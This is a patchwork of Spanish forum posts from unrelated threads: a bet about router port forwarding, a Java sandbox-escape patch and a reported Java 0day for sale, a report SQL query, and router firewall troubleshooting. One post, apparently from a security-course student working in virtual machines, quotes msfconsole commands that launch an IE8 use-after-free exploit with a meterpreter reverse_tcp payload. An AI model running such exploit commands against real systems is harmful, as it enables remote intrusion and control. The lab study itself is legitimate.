Mensajes

Hola, Pedro_madrid; francamente, y, aunque no estoy del todo seguro por el mero hecho de que, bueno, no estoy muy puesto en lo que es tema redes y demas a nivel general, por lo que tengo entendido, cuando abres un puerto en el router, si, creo que si has de indicarle hacia que IP ha de redirigir el trafico que pase por el puerto X (o por un determinado puerto, como quieras decirlo), o, almenos, es lo que tengo entendido, y, bueno, ¿es a esto a lo que te refieres?.
Espero haberte podido ser de ayuda y/o haberte podido aclarar la duda en cuestion que tienes y que has mencionado en este tema, y, bueno, muchas gracias por vuestra atencion.
Saludos.

De momento voy ganando el desayuno =). Muchas gracias por tu respuesta.

¿Alguien más que apoye esta idea?

Buenas;

Tengo una duda rápida sobre el tema de la apertura de puertos en un router. Me he apostado con mi jefe un desayuno y no me haría mucha gracia perder .
El tema está en que él me dice que se puede abrir los puertos de un router sin decirle hacia dónde los redirige y yo le digo que eso es imposible.
Hasta lo que entiendo de teoría de redes abrir un puerto a un router no es ni mas ni menos que redirigirlo hacia un equipo de dentro de la red interna, por lo que hay que indicarle hacia dónde redirige el tráfico entrante a ese puerto. La única forma de que se pueda abrir un puerto en un router sin indicarle hacia dónde lo redirige es que el router tenga un servicio FTP (por ejemplo) y con ello entienda que el tráfico entrante por el puerto 21 va hacia sí mismo.

En resumidas cuentas, por lo que yo entiendo abrir los puertos de un router implica hacerle un forwarding del mismo hacia un equipo de nuestra red (si el router no ofrece un servicio en ese puerto) y mi jefe dice que no.

¿Estoy en lo correcto o acabo de perder un desayuno?

¡Un saludo!

la próxima vez que te suceda esto prueba cambiando el payload

Ok. Muchas gracias

Con la update de java 11 parchearon ya el bug que permitia salirse del SandBox y ejecutar código arbitrario remotamente? Me refiero a la vulnerabilidad que explotaba Jre17 exec.
Gracias por compartirlo, pues es un regalo de año nuevo bastante curioso y que por lo que veo de dos vulnerabilidades sólo han parcheado una xD

Estoy actualizando java para ver los resultados jeje

Saludos!

Creo que el jre17 exec está resuelto (semi-parcheado), pero que el problema interno persiste...
Tanto es así que ya se está vendiendo otro 0day de java (por 5.000 dólares, por si te interesa, jeje)
http://thenextweb.com/insider/2013/01/16/less-than-24-hours-after-last-patch-criminals-were-selling-a-new-java-exploit-for-5000-per-buyer/?utm_source=Twitter&utm_campaign=social%20media&utm_medium=Spreadus&awesm=tnw.to_t01C

Solucionado, parece ser que han eliminado ese módulo.
El actual es: exploit/windows/browser/ie_execcommand_uaf

[SELECT * FROM control_produccion WHERE fecha_produccion BETWEEN $P{p1} and $P{p2}]

SELECT * FROM control_produccion WHERE fecha_produccion BETWEEN $P{p1} and $P{p2}

¿Te refieres a esto?
SELECT * FROM control_produccion WHERE fecha_produccion BETWEEN $P{p1} and $P{p2} AND nombre like('pepito');

Muy buenas:
Debido a que tengo que realizar una práctica para la asignatura de seguridad me puse con el 0day recinte que salió para IE8.
Ejecutándolo todo bajo máquinas virtuales, la víctima sobre windows xp sp3 con IE8 y el atacante usando backtrack y metasploit; me da un error y cierra IE.
Metasploit queda en Sending HTML...
Error de IE:

Código [Seleccionar] Expandir


AppName: iexplore.exe AppVer: 8.0.6001.18702 ModName: msvcrt.dll
ModVer: 7.0.2600.5512 Offset: 00035ee2

¿Alguien sabe a qué puede ser debido?
PD:
Código usado en msfconsole:

Código [Seleccionar] Expandir


use exploit/windows/browser/ie_cdwnbindinfo_uaf
set SRVHOST ip_del_atacante
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST ip_del_atacante
exploit


Yo sigo apostando por que es problema del firewall...
Escribe en tu navegador //192.168.0.1  accede a tu router y desactiva el firewall... prueba a ver si entonces te deja.
Aunque... ahora que lei lo de que el router parpadea... a mi me pasaba hace tiempo, y resulto que el propio router estaba en sus ultimas... asi que nos lo cambiaron.
De todas formas, antes de nada prueba lo del firewall, a ver que tal
Un saludo!

m... no creo que sea esto, pero por probar...
Verifica que el firewall no interfiere en la conexion
Espero que se te solucione... un saludo

Problema solucionado, al final lo que me daba problemas era el firewall del router, que estaba activo (cuando yo pense que no lo estaba, pero bueeno... que se le va a hacer, jejeje)
Por si a alguien mas le pasa alguna vez esto, que desactiven (o abran los puertos que necesiten) tanto del firewall de su pc como del router
Saludos!